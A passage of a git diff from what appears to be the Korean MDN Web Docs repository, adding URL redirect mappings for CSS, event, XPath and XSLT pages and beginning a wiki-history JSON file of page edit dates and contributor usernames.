+/ko/docs/Web/CSS/Understanding_z-index/The_stacking_context	/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context
+/ko/docs/Web/CSS/Using_CSS_animations	/ko/docs/Web/CSS/CSS_Animations/Using_CSS_animations
+/ko/docs/Web/CSS/Using_CSS_multiple_backgrounds	/ko/docs/Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds
+/ko/docs/Web/CSS/Using_CSS_transforms	/ko/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms
+/ko/docs/Web/CSS/Using_CSS_variables	/ko/docs/Web/CSS/Using_CSS_custom_properties
+/ko/docs/Web/CSS/calc	/ko/docs/Web/CSS/calc()
+/ko/docs/Web/CSS/currentcolor	/ko/docs/Web/CSS/color_value#currentColor_키워드
+/ko/docs/Web/CSS/filter-function/blur	/ko/docs/Web/CSS/filter-function/blur()
+/ko/docs/Web/CSS/filter-function/brightness	/ko/docs/Web/CSS/filter-function/brightness()
+/ko/docs/Web/CSS/filter-function/contrast	/ko/docs/Web/CSS/filter-function/contrast()
+/ko/docs/Web/CSS/linear-gradient	/ko/docs/Web/CSS/linear-gradient()
+/ko/docs/Web/CSS/transform-function/matrix	/ko/docs/Web/CSS/transform-function/matrix()
+/ko/docs/Web/CSS/transform-function/scaleX	/ko/docs/Web/CSS/transform-function/scaleX()
+/ko/docs/Web/CSS/var	/ko/docs/Web/CSS/var()
+/ko/docs/Web/Events/canplay	/ko/docs/Web/API/HTMLMediaElement/canplay_event
+/ko/docs/Web/Events/canplaythrough	/ko/docs/Web/API/HTMLMediaElement/canplaythrough_event
+/ko/docs/Web/Events/canplaythrough_event	/ko/docs/Web/HTML/Element/audio/canplaythrough_event
+/ko/docs/Web/Events/click	/ko/docs/Web/API/Element/click_event
+/ko/docs/Web/Events/dragstart	/ko/docs/Web/API/Document/dragstart_event
+/ko/docs/Web/Events/keydown	/ko/docs/Web/API/Document/keydown_event
+/ko/docs/Web/Events/loadedmetadata	/ko/docs/Web/API/HTMLMediaElement/loadedmetadata_event
+/ko/docs/Web/Events/loadedmetadata_event	/ko/docs/Web/HTML/Element/audio/loadedmetadata_event
+/ko/docs/Web/Events/orientationchange	/ko/docs/Web/API/Window/orientationchange_event
+/ko/docs/Web/Events/popstate	/ko/docs/Web/API/Window/popstate_event
+/ko/docs/Web/Events/resize	/ko/docs/Web/API/Window/resize_event
+/ko/docs/Web/Events/scroll	/ko/docs/Web/API/Document/scroll_event
+/ko/docs/Web/Events/timeout	/ko/docs/Web/API/XMLHttpRequest/timeout
+/ko/docs/Web/Events/touchcancel	/ko/docs/Web/API/Element/touchcancel_event
+/ko/docs/Web/Events/visibilitychange	/ko/docs/Web/API/Document/visibilitychange_event
+/ko/docs/Web/Guide/CSS	/ko/docs/Learn/CSS
+/ko/docs/Web/Guide/CSS/Using_CSS_transitions	/ko/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions
+/ko/docs/Web/Guide/HTML	/ko/docs/Learn/HTML
+/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC	/ko/docs/Web/Guide/HTML/Content_categories
+/ko/docs/Web/Guide/HTML/%ED%8F%BC	/ko/docs/Learn/HTML/Forms
+/ko/docs/Web/Guide/HTML/%ED%8F%BC/HTML_%ED%8F%BC_%EA%B5%AC%EC%84%B1_%EB%B0%A9%EB%B2%95	/ko/docs/Learn/HTML/Forms/HTML_%ED%8F%BC_%EA%B5%AC%EC%84%B1_%EB%B0%A9%EB%B2%95
+/ko/docs/Web/Guide/HTML/%ED%8F%BC/My_first_HTML_form	/ko/docs/Learn/HTML/Forms/Your_first_HTML_form
+/ko/docs/Web/Guide/HTML/%ED%8F%BC/Sending_and_retrieving_form_data	/ko/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data
+/ko/docs/Web/HTML/Element/%EC%BA%94%EB%B2%84%EC%8A%A4	/ko/docs/Web/HTML/Element/canvas
+/ko/docs/Web/HTML/Element/Video/canplay_event	/ko/docs/Web/API/HTMLMediaElement/canplay_event
+/ko/docs/Web/HTML/Element/Video/canplaythrough_event	/ko/docs/Web/API/HTMLMediaElement/canplaythrough_event
+/ko/docs/Web/HTML/Element/Video/loadedmetadata_event	/ko/docs/Web/API/HTMLMediaElement/loadedmetadata_event
+/ko/docs/Web/HTML/Element/h1	/ko/docs/Web/HTML/Element/Heading_Elements
+/ko/docs/Web/HTML/Element/h2	/ko/docs/Web/HTML/Element/Heading_Elements
+/ko/docs/Web/HTML/Element/h3	/ko/docs/Web/HTML/Element/Heading_Elements
+/ko/docs/Web/HTML/Element/h4	/ko/docs/Web/HTML/Element/Heading_Elements
+/ko/docs/Web/HTML/Element/h5	/ko/docs/Web/HTML/Element/Heading_Elements
+/ko/docs/Web/HTML/Element/h6	/ko/docs/Web/HTML/Element/Heading_Elements
+/ko/docs/Web/HTML/Focus_management_in_HTML	/ko/docs/Web/API/Document/hasFocus
+/ko/docs/Web/HTML/HTML%EC%97%90%EC%84%9C_%ED%8F%BC	/ko/docs/Learn/HTML/Forms
+/ko/docs/Web/HTML/HTML5/HTML5_element_list	/ko/docs/Web/HTML/Element
+/ko/docs/Web/HTML/Introduction	/ko/docs/Learn/HTML/Introduction_to_HTML
+/ko/docs/Web/HTTP/%EC%83%81%ED%83%9C_%EC%BD%94%EB%93%9C	/ko/docs/Web/HTTP/Status
+/ko/docs/Web/HTTP/Access_control_CORS	/ko/docs/Web/HTTP/CORS
+/ko/docs/Web/HTTP/Access_control_CORS/Errors	/ko/docs/Web/HTTP/CORS/Errors
+/ko/docs/Web/HTTP/Access_control_CORS/Errors/CORSDidNotSucceed	/ko/docs/Web/HTTP/CORS/Errors/CORSDidNotSucceed
+/ko/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Complete_list_of_MIME_types	/ko/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
+/ko/docs/Web/JavaScript/Guide/About	/ko/docs/Web/JavaScript/Guide/%EC%86%8C%EA%B0%9C
+/ko/docs/Web/JavaScript/Guide/Obsolete_Pages	/ko/docs/Web/JavaScript/Guide
+/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide	/ko/docs/Web/JavaScript/Guide
+/ko/docs/Web/JavaScript/Guide/Predefined_Core_Objects	/ko/docs/Web/JavaScript/Guide
+/ko/docs/Web/JavaScript/New_in_JavaScript/New_in_JavaScript_1.7	/ko/docs/Web/JavaScript/New_in_JavaScript/1.7
+/ko/docs/Web/JavaScript/New_in_JavaScript/New_in_JavaScript_1.8	/ko/docs/Web/JavaScript/New_in_JavaScript/1.8
+/ko/docs/Web/JavaScript/Reference/About/Formatting_Conventions	/ko/docs/Web/JavaScript/Reference/About
+/ko/docs/Web/JavaScript/Reference/Global_Functions	/ko/docs/Web/JavaScript/Reference/Global_Objects
+/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/constructor	/ko/docs/Web/JavaScript/Reference/Global_Objects/Array
+/ko/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype	/ko/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer
+/ko/docs/Web/JavaScript/Reference/Global_Objects/Boolean/constructor	/ko/docs/Web/JavaScript/Reference/Global_Objects/Boolean
+/ko/docs/Web/JavaScript/Reference/Global_Objects/Date/constructor	/ko/docs/Web/JavaScript/Reference/Global_Objects/Date
+/ko/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat	/ko/docs/Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat
+/ko/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat/prototype	/ko/docs/Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype
+/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype	/ko/docs/Web/JavaScript/Reference/Global_Objects/Function
+/ko/docs/Web/JavaScript/Reference/Global_Objects/Locale	/ko/docs/Web/JavaScript/Reference/Global_Objects/Intl/Locale
+/ko/docs/Web/JavaScript/Reference/Global_Objects/Locale/language	/ko/docs/Web/JavaScript/Reference/Global_Objects/Intl/Locale/language
+/ko/docs/Web/JavaScript/Reference/Global_Objects/NumberFormat	/ko/docs/Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat
+/ko/docs/Web/JavaScript/Reference/Global_Objects/NumberFormat/prototype	/ko/docs/Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/prototype
+/ko/docs/Web/JavaScript/Reference/Global_Objects/TypeError/prototype	/ko/docs/Web/JavaScript/Reference/Global_Objects/TypeError
+/ko/docs/Web/JavaScript/Reference/Global_Properties	/ko/docs/Web/JavaScript/Reference/Global_Objects
+/ko/docs/Web/JavaScript/Reference/Methods_Index	/ko/docs/Web/JavaScript/Reference
+/ko/docs/Web/JavaScript/Reference/Objects	/ko/docs/Web/JavaScript/Reference/Global_Objects
+/ko/docs/Web/JavaScript/Reference/Objects/Function	/ko/docs/Web/JavaScript/Reference/Global_Objects/Function
+/ko/docs/Web/JavaScript/Reference/Operators/Special_Operators	/ko/docs/Web/JavaScript/Reference/Operators
+/ko/docs/Web/JavaScript/Reference/Operators/Spread_operator	/ko/docs/Web/JavaScript/Reference/Operators/Spread_syntax
+/ko/docs/Web/JavaScript/Reference/Properties_Index	/ko/docs/Web/JavaScript/Reference
+/ko/docs/Web/JavaScript/Reference/Reserved_Words	/ko/docs/Web/JavaScript/Reference/Lexical_grammar#키워드
+/ko/docs/Web/JavaScript/Tutorials	/ko/docs/Web/JavaScript
+/ko/docs/Web/Reference/Events	/ko/docs/Web/Events
+/ko/docs/Web/Reference/Events/DOMContentLoaded	/ko/docs/Web/Events/DOMContentLoaded
+/ko/docs/Web/Reference/Events/DOMSubtreeModified	/ko/docs/Web/Events/DOMSubtreeModified
+/ko/docs/Web/Reference/Events/beforeunload	/ko/docs/Web/Events/beforeunload
+/ko/docs/Web/Reference/Events/blur	/ko/docs/Web/Events/blur
+/ko/docs/Web/Reference/Events/canplay	/ko/docs/Web/API/HTMLMediaElement/canplay_event
+/ko/docs/Web/Reference/Events/canplaythrough	/ko/docs/Web/API/HTMLMediaElement/canplaythrough_event
+/ko/docs/Web/Reference/Events/chargingchange	/ko/docs/Web/Events/chargingchange
+/ko/docs/Web/Reference/Events/click	/ko/docs/Web/API/Element/click_event
+/ko/docs/Web/Reference/Events/keydown	/ko/docs/Web/API/Document/keydown_event
+/ko/docs/Web/Reference/Events/load	/ko/docs/Web/Events/load
+/ko/docs/Web/Reference/Events/loadedmetadata	/ko/docs/Web/API/HTMLMediaElement/loadedmetadata_event
+/ko/docs/Web/Reference/Events/message	/ko/docs/Web/Events/message
+/ko/docs/Web/Reference/Events/orientationchange	/ko/docs/Web/API/Window/orientationchange_event
+/ko/docs/Web/Reference/Events/popstate	/ko/docs/Web/API/Window/popstate_event
+/ko/docs/Web/Reference/Events/progress	/ko/docs/Web/Events/progress
+/ko/docs/Web/Reference/Events/resize	/ko/docs/Web/API/Window/resize_event
+/ko/docs/Web/Reference/Events/timeout	/ko/docs/Web/API/XMLHttpRequest/timeout
+/ko/docs/Web/Reference/Events/touchcancel	/ko/docs/Web/API/Element/touchcancel_event
+/ko/docs/Web/Reference/Events/visibilitychange	/ko/docs/Web/API/Document/visibilitychange_event
+/ko/docs/Web/WebGL	/ko/docs/Web/API/WebGL_API
+/ko/docs/Web/WebGL/Adding_2D_content_to_a_WebGL_context	/ko/docs/Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
+/ko/docs/Web/WebGL/Animating_objects_with_WebGL	/ko/docs/Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL
+/ko/docs/Web/WebGL/Animating_textures_in_WebGL	/ko/docs/Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL
+/ko/docs/Web/WebGL/Creating_3D_objects_using_WebGL	/ko/docs/Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL
+/ko/docs/Web/WebGL/Cross-Domain_Textures	/ko/docs/Web/API/WebGL_API/Cross-Domain_Textures
+/ko/docs/Web/WebGL/Getting_started_with_WebGL	/ko/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL
+/ko/docs/Web/WebGL/Lighting_in_WebGL	/ko/docs/Web/API/WebGL_API/Tutorial/Lighting_in_WebGL
+/ko/docs/Web/WebGL/Using_shaders_to_apply_color_in_WebGL	/ko/docs/Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL
+/ko/docs/Web/WebGL/Using_textures_in_WebGL	/ko/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL
+/ko/docs/Web/Web_Components/Custom_Elements	/ko/docs/Web/Web_Components/Using_custom_elements
+/ko/docs/Web/Web_Components/Shadow_DOM	/ko/docs/Web/Web_Components/Using_shadow_DOM
+/ko/docs/Web/XSLT/Elements	/ko/docs/Web/XSLT/Element
+/ko/docs/Web/XSLT/Elements/element	/ko/docs/Web/XSLT/Element/element
+/ko/docs/WebAPI/Vibration	/ko/docs/Web/Guide/API/Vibration/Vibration
+/ko/docs/WebAPI/WebSMS/Introduction_to_WebSMS	/ko/docs/WebAPI/WebSMS/Introduction_to_Mobile_Message_API/Introduction_to_WebSMS
+/ko/docs/Writing_Efficient_CSS	/ko/docs/Web/CSS/Writing_Efficient_CSS
+/ko/docs/XMLHttpRequest	/ko/docs/Web/API/XMLHttpRequest
+/ko/docs/XMLHttpRequest/Synchronous_and_Asynchronous_Requests	/ko/docs/Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests
+/ko/docs/XMLHttpRequest/Using_XMLHttpRequest	/ko/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest
+/ko/docs/XMLHttpRequest/setRequestHeader	/ko/docs/Web/API/XMLHttpRequest/setRequestHeader
+/ko/docs/XML_Introduction	/ko/docs/Web/XML/XML_Introduction
+/ko/docs/XPInstall_API_Reference:Install_Object	/ko/docs/XPInstall_API_Reference/Install_Object
+/ko/docs/XPInstall_API_Reference:Install_Object:Properties	/ko/docs/XPInstall_API_Reference/Install_Object/Properties
+/ko/docs/XPInstall_API_Reference:Return_Codes	/ko/docs/XPInstall_API_Reference/Return_Codes
+/ko/docs/XPath	/ko/docs/Web/XPath
+/ko/docs/XPath/Axes	/ko/docs/Web/XPath/Axes
+/ko/docs/XPath/Axes/ancestor	/ko/docs/Web/XPath/Axes/ancestor
+/ko/docs/XPath/Axes/ancestor-or-self	/ko/docs/Web/XPath/Axes/ancestor-or-self
+/ko/docs/XPath/Axes/attribute	/ko/docs/Web/XPath/Axes/attribute
+/ko/docs/XPath/Axes/child	/ko/docs/Web/XPath/Axes/child
+/ko/docs/XPath/Axes/descendant	/ko/docs/Web/XPath/Axes/descendant
+/ko/docs/XPath/Axes/descendant-or-self	/ko/docs/Web/XPath/Axes/descendant-or-self
+/ko/docs/XPath/Axes/following	/ko/docs/Web/XPath/Axes/following
+/ko/docs/XPath/Axes/following-sibling	/ko/docs/Web/XPath/Axes/following-sibling
+/ko/docs/XPath/Axes/namespace	/ko/docs/Web/XPath/Axes/namespace
+/ko/docs/XPath/Axes/parent	/ko/docs/Web/XPath/Axes/parent
+/ko/docs/XPath/Axes/preceding	/ko/docs/Web/XPath/Axes/preceding
+/ko/docs/XPath/Axes/preceding-sibling	/ko/docs/Web/XPath/Axes/preceding-sibling
+/ko/docs/XPath/Axes/self	/ko/docs/Web/XPath/Axes/self
+/ko/docs/XPath/Functions	/ko/docs/Web/XPath/Functions
+/ko/docs/XPath/Functions/boolean	/ko/docs/Web/XPath/Functions/boolean
+/ko/docs/XPath/Functions/ceiling	/ko/docs/Web/XPath/Functions/ceiling
+/ko/docs/XPath/Functions/concat	/ko/docs/Web/XPath/Functions/concat
+/ko/docs/XPath/Functions/contains	/ko/docs/Web/XPath/Functions/contains
+/ko/docs/XPath/Functions/count	/ko/docs/Web/XPath/Functions/count
+/ko/docs/XPath/Functions/current	/ko/docs/Web/XPath/Functions/current
+/ko/docs/XPath/Functions/document	/ko/docs/Web/XPath/Functions/document
+/ko/docs/XPath/Functions/element-available	/ko/docs/Web/XPath/Functions/element-available
+/ko/docs/XPath/Functions/false	/ko/docs/Web/XPath/Functions/false
+/ko/docs/XPath/Functions/floor	/ko/docs/Web/XPath/Functions/floor
+/ko/docs/XPath/Functions/format-number	/ko/docs/Web/XPath/Functions/format-number
+/ko/docs/XPath/Functions/function-available	/ko/docs/Web/XPath/Functions/function-available
+/ko/docs/XPath/Functions/generate-id	/ko/docs/Web/XPath/Functions/generate-id
+/ko/docs/XPath/Functions/id	/ko/docs/Web/XPath/Functions/id
+/ko/docs/XPath/Functions/key	/ko/docs/Web/XPath/Functions/key
+/ko/docs/XPath/Functions/lang	/ko/docs/Web/XPath/Functions/lang
+/ko/docs/XPath/Functions/last	/ko/docs/Web/XPath/Functions/last
+/ko/docs/XPath/Functions/local-name	/ko/docs/Web/XPath/Functions/local-name
+/ko/docs/XPath/Functions/name	/ko/docs/Web/XPath/Functions/name
+/ko/docs/XPath/Functions/namespace-uri	/ko/docs/Web/XPath/Functions/namespace-uri
+/ko/docs/XPath/Functions/normalize-space	/ko/docs/Web/XPath/Functions/normalize-space
+/ko/docs/XPath/Functions/not	/ko/docs/Web/XPath/Functions/not
+/ko/docs/XPath/Functions/number	/ko/docs/Web/XPath/Functions/number
+/ko/docs/XPath/Functions/position	/ko/docs/Web/XPath/Functions/position
+/ko/docs/XPath/Functions/round	/ko/docs/Web/XPath/Functions/round
+/ko/docs/XPath/Functions/starts-with	/ko/docs/Web/XPath/Functions/starts-with
+/ko/docs/XPath/Functions/string	/ko/docs/Web/XPath/Functions/string
+/ko/docs/XPath/Functions/string-length	/ko/docs/Web/XPath/Functions/string-length
+/ko/docs/XPath/Functions/substring	/ko/docs/Web/XPath/Functions/substring
+/ko/docs/XPath/Functions/substring-after	/ko/docs/Web/XPath/Functions/substring-after
+/ko/docs/XPath/Functions/substring-before	/ko/docs/Web/XPath/Functions/substring-before
+/ko/docs/XPath/Functions/sum	/ko/docs/Web/XPath/Functions/sum
+/ko/docs/XPath/Functions/system-property	/ko/docs/Web/XPath/Functions/system-property
+/ko/docs/XPath/Functions/translate	/ko/docs/Web/XPath/Functions/translate
+/ko/docs/XPath/Functions/true	/ko/docs/Web/XPath/Functions/true
+/ko/docs/XPath/Functions/unparsed-entity-url	/ko/docs/Web/XPath/Functions/unparsed-entity-url
+/ko/docs/XPath:Axes	/ko/docs/Web/XPath/Axes
+/ko/docs/XPath:Axes:ancestor	/ko/docs/Web/XPath/Axes/ancestor
+/ko/docs/XPath:Axes:ancestor-or-self	/ko/docs/Web/XPath/Axes/ancestor-or-self
+/ko/docs/XPath:Axes:attribute	/ko/docs/Web/XPath/Axes/attribute
+/ko/docs/XPath:Axes:child	/ko/docs/Web/XPath/Axes/child
+/ko/docs/XPath:Axes:descendant	/ko/docs/Web/XPath/Axes/descendant
+/ko/docs/XPath:Axes:descendant-or-self	/ko/docs/Web/XPath/Axes/descendant-or-self
+/ko/docs/XPath:Axes:following	/ko/docs/Web/XPath/Axes/following
+/ko/docs/XPath:Axes:following-sibling	/ko/docs/Web/XPath/Axes/following-sibling
+/ko/docs/XPath:Axes:namespace	/ko/docs/Web/XPath/Axes/namespace
+/ko/docs/XPath:Axes:parent	/ko/docs/Web/XPath/Axes/parent
+/ko/docs/XPath:Axes:preceding	/ko/docs/Web/XPath/Axes/preceding
+/ko/docs/XPath:Axes:preceding-sibling	/ko/docs/Web/XPath/Axes/preceding-sibling
+/ko/docs/XPath:Axes:self	/ko/docs/Web/XPath/Axes/self
+/ko/docs/XPath:Functions	/ko/docs/Web/XPath/Functions
+/ko/docs/XPath:Functions:boolean	/ko/docs/Web/XPath/Functions/boolean
+/ko/docs/XPath:Functions:ceiling	/ko/docs/Web/XPath/Functions/ceiling
+/ko/docs/XPath:Functions:concat	/ko/docs/Web/XPath/Functions/concat
+/ko/docs/XPath:Functions:contains	/ko/docs/Web/XPath/Functions/contains
+/ko/docs/XPath:Functions:count	/ko/docs/Web/XPath/Functions/count
+/ko/docs/XPath:Functions:current	/ko/docs/Web/XPath/Functions/current
+/ko/docs/XPath:Functions:document	/ko/docs/Web/XPath/Functions/document
+/ko/docs/XPath:Functions:element-available	/ko/docs/Web/XPath/Functions/element-available
+/ko/docs/XPath:Functions:false	/ko/docs/Web/XPath/Functions/false
+/ko/docs/XPath:Functions:floor	/ko/docs/Web/XPath/Functions/floor
+/ko/docs/XPath:Functions:format-number	/ko/docs/Web/XPath/Functions/format-number
+/ko/docs/XPath:Functions:function-available	/ko/docs/Web/XPath/Functions/function-available
+/ko/docs/XPath:Functions:generate-id	/ko/docs/Web/XPath/Functions/generate-id
+/ko/docs/XPath:Functions:id	/ko/docs/Web/XPath/Functions/id
+/ko/docs/XPath:Functions:key	/ko/docs/Web/XPath/Functions/key
+/ko/docs/XPath:Functions:lang	/ko/docs/Web/XPath/Functions/lang
+/ko/docs/XPath:Functions:last	/ko/docs/Web/XPath/Functions/last
+/ko/docs/XPath:Functions:local-name	/ko/docs/Web/XPath/Functions/local-name
+/ko/docs/XPath:Functions:name	/ko/docs/Web/XPath/Functions/name
+/ko/docs/XPath:Functions:namespace-uri	/ko/docs/Web/XPath/Functions/namespace-uri
+/ko/docs/XPath:Functions:normalize-space	/ko/docs/Web/XPath/Functions/normalize-space
+/ko/docs/XPath:Functions:not	/ko/docs/Web/XPath/Functions/not
+/ko/docs/XPath:Functions:number	/ko/docs/Web/XPath/Functions/number
+/ko/docs/XPath:Functions:position	/ko/docs/Web/XPath/Functions/position
+/ko/docs/XPath:Functions:round	/ko/docs/Web/XPath/Functions/round
+/ko/docs/XPath:Functions:starts-with	/ko/docs/Web/XPath/Functions/starts-with
+/ko/docs/XPath:Functions:string	/ko/docs/Web/XPath/Functions/string
+/ko/docs/XPath:Functions:string-length	/ko/docs/Web/XPath/Functions/string-length
+/ko/docs/XPath:Functions:substring	/ko/docs/Web/XPath/Functions/substring
+/ko/docs/XPath:Functions:substring-after	/ko/docs/Web/XPath/Functions/substring-after
+/ko/docs/XPath:Functions:substring-before	/ko/docs/Web/XPath/Functions/substring-before
+/ko/docs/XPath:Functions:sum	/ko/docs/Web/XPath/Functions/sum
+/ko/docs/XPath:Functions:system-property	/ko/docs/Web/XPath/Functions/system-property
+/ko/docs/XPath:Functions:translate	/ko/docs/Web/XPath/Functions/translate
+/ko/docs/XPath:Functions:true	/ko/docs/Web/XPath/Functions/true
+/ko/docs/XPath:Functions:unparsed-entity-url	/ko/docs/Web/XPath/Functions/unparsed-entity-url
+/ko/docs/XSLT	/ko/docs/Web/XSLT
+/ko/docs/XSLT/Elements	/ko/docs/Web/XSLT/Element
+/ko/docs/XSLT/apply-imports	/ko/docs/Web/XSLT/apply-imports
+/ko/docs/XSLT/apply-templates	/ko/docs/Web/XSLT/apply-templates
+/ko/docs/XSLT/attribute	/ko/docs/Web/XSLT/attribute
+/ko/docs/XSLT/attribute-set	/ko/docs/Web/XSLT/attribute-set
+/ko/docs/XSLT/call-template	/ko/docs/Web/XSLT/call-template
+/ko/docs/XSLT/choose	/ko/docs/Web/XSLT/choose
+/ko/docs/XSLT/comment	/ko/docs/Web/XSLT/comment
+/ko/docs/XSLT/copy	/ko/docs/Web/XSLT/copy
+/ko/docs/XSLT/copy-of	/ko/docs/Web/XSLT/copy-of
+/ko/docs/XSLT/decimal-format	/ko/docs/Web/XSLT/decimal-format
+/ko/docs/XSLT/element	/ko/docs/Web/XSLT/Element/element
+/ko/docs/XSLT/fallback	/ko/docs/Web/XSLT/fallback
+/ko/docs/XSLT/for-each	/ko/docs/Web/XSLT/for-each
+/ko/docs/XSLT/if	/ko/docs/Web/XSLT/if
+/ko/docs/XSLT/import	/ko/docs/Web/XSLT/import
+/ko/docs/XSLT/include	/ko/docs/Web/XSLT/include
+/ko/docs/XSLT/key	/ko/docs/Web/XSLT/key
+/ko/docs/XSLT/message	/ko/docs/Web/XSLT/message
+/ko/docs/XSLT/namespace-alias	/ko/docs/Web/XSLT/namespace-alias
+/ko/docs/XSLT/number	/ko/docs/Web/XSLT/number
+/ko/docs/XSLT/otherwise	/ko/docs/Web/XSLT/otherwise
+/ko/docs/XSLT/output	/ko/docs/Web/XSLT/output
+/ko/docs/XSLT/param	/ko/docs/Web/XSLT/param
+/ko/docs/XSLT/preserve-space	/ko/docs/Web/XSLT/preserve-space
+/ko/docs/XSLT/processing-instruction	/ko/docs/Web/XSLT/processing-instruction
+/ko/docs/XSLT/sort	/ko/docs/Web/XSLT/sort
+/ko/docs/XSLT/strip-space	/ko/docs/Web/XSLT/strip-space
+/ko/docs/XSLT/stylesheet	/ko/docs/Web/XSLT/stylesheet
+/ko/docs/XSLT/template	/ko/docs/Web/XSLT/template
+/ko/docs/XSLT/text	/ko/docs/Web/XSLT/text
+/ko/docs/XSLT/transform	/ko/docs/Web/XSLT/transform
+/ko/docs/XSLT/value-of	/ko/docs/Web/XSLT/value-of
+/ko/docs/XSLT/variable	/ko/docs/Web/XSLT/variable
+/ko/docs/XSLT/when	/ko/docs/Web/XSLT/when
+/ko/docs/XSLT/with-param	/ko/docs/Web/XSLT/with-param
+/ko/docs/XSLT:Elements	/ko/docs/Web/XSLT/Element
+/ko/docs/XSLT:apply-imports	/ko/docs/Web/XSLT/apply-imports
+/ko/docs/XSLT:apply-templates	/ko/docs/Web/XSLT/apply-templates
+/ko/docs/XSLT:attribute	/ko/docs/Web/XSLT/attribute
+/ko/docs/XSLT:attribute-set	/ko/docs/Web/XSLT/attribute-set
+/ko/docs/XSLT:call-template	/ko/docs/Web/XSLT/call-template
+/ko/docs/XSLT:choose	/ko/docs/Web/XSLT/choose
+/ko/docs/XSLT:comment	/ko/docs/Web/XSLT/comment
+/ko/docs/XSLT:copy	/ko/docs/Web/XSLT/copy
+/ko/docs/XSLT:copy-of	/ko/docs/Web/XSLT/copy-of
+/ko/docs/XSLT:decimal-format	/ko/docs/Web/XSLT/decimal-format
+/ko/docs/XSLT:element	/ko/docs/Web/XSLT/Element/element
+/ko/docs/XSLT:fallback	/ko/docs/Web/XSLT/fallback
+/ko/docs/XSLT:for-each	/ko/docs/Web/XSLT/for-each
+/ko/docs/XSLT:if	/ko/docs/Web/XSLT/if
+/ko/docs/XSLT:import	/ko/docs/Web/XSLT/import
+/ko/docs/XSLT:include	/ko/docs/Web/XSLT/include
+/ko/docs/XSLT:key	/ko/docs/Web/XSLT/key
+/ko/docs/XSLT:message	/ko/docs/Web/XSLT/message
+/ko/docs/XSLT:namespace-alias	/ko/docs/Web/XSLT/namespace-alias
+/ko/docs/XSLT:number	/ko/docs/Web/XSLT/number
+/ko/docs/XSLT:otherwise	/ko/docs/Web/XSLT/otherwise
+/ko/docs/XSLT:output	/ko/docs/Web/XSLT/output
+/ko/docs/XSLT:param	/ko/docs/Web/XSLT/param
+/ko/docs/XSLT:preserve-space	/ko/docs/Web/XSLT/preserve-space
+/ko/docs/XSLT:processing-instruction	/ko/docs/Web/XSLT/processing-instruction
+/ko/docs/XSLT:sort	/ko/docs/Web/XSLT/sort
+/ko/docs/XSLT:strip-space	/ko/docs/Web/XSLT/strip-space
+/ko/docs/XSLT:stylesheet	/ko/docs/Web/XSLT/stylesheet
+/ko/docs/XSLT:template	/ko/docs/Web/XSLT/template
+/ko/docs/XSLT:text	/ko/docs/Web/XSLT/text
+/ko/docs/XSLT:transform	/ko/docs/Web/XSLT/transform
+/ko/docs/XSLT:value-of	/ko/docs/Web/XSLT/value-of
+/ko/docs/XSLT:variable	/ko/docs/Web/XSLT/variable
+/ko/docs/XSLT:when	/ko/docs/Web/XSLT/when
+/ko/docs/XSLT:with-param	/ko/docs/Web/XSLT/with-param
+/ko/docs/XSLT_in_Gecko:Basic_Example	/ko/docs/XSLT_in_Gecko/Basic_Example
+/ko/docs/XSLT_in_Gecko:Browser_Differences	/ko/docs/XSLT_in_Gecko/Browser_Differences
+/ko/docs/XSLT_in_Gecko:Generating_HTML	/ko/docs/XSLT_in_Gecko/Generating_HTML
+/ko/docs/XSLT_in_Gecko:Introduction	/ko/docs/XSLT_in_Gecko/Introduction
+/ko/docs/XSLT_in_Gecko:Resources	/ko/docs/XSLT_in_Gecko/Resources
+/ko/docs/XTech_2005_Presentations:Directions_of_the_Mozilla_RDF_engine	/ko/docs/XTech_2005_Presentations/Directions_of_the_Mozilla_RDF_engine
+/ko/docs/en	/en-US/
diff --git a/files/ko/_wikihistory.json b/files/ko/_wikihistory.json
new file mode 100644
index 0000000000..5587d8f681
--- /dev/null
+++ b/files/ko/_wikihistory.json
@@ -0,0 +1,18712 @@
+{
+  "A_Basic_RayCaster": {
+    "modified": "2019-05-26T05:55:24.371Z",
+    "contributors": [
+      "alattalatta",
+      "taggon"
+    ]
+  },
+  "A_re-introduction_to_JavaScript": {
+    "modified": "2020-11-30T14:43:16.912Z",
+    "contributors": [
+      "woochul2",
+      "honggaruy",
+      "jaeminche",
+      "eunjungleecub",
+      "Teperi",
+      "Violet-Bora-Lee",
+      "jjuun",
+      "JaeyiHong",
+      "juddammu",
+      "limkukhyun",
+      "hyunggoo",
+      "ChalkPE",
+      "loslch",
+      "Kimchoky",
+      "pineoc",
+      "fureweb",
+      "zeallat",
+      "gnujoow",
+      "softage",
+      "oox",
+      "Jsfumato",
+      "stephenjang",
+      "cafrii",
+      "teoli",
+      "zziuni",
+      "JaehaAhn",
+      "Joonwon",
+      "Dyhan81"
+    ]
+  },
+  "Adapting_XUL_Applications_for_Firefox_1.5": {
+    "modified": "2019-03-23T23:42:04.353Z",
+    "contributors": [
+      "teoli",
+      "Netaras"
+    ]
+  },
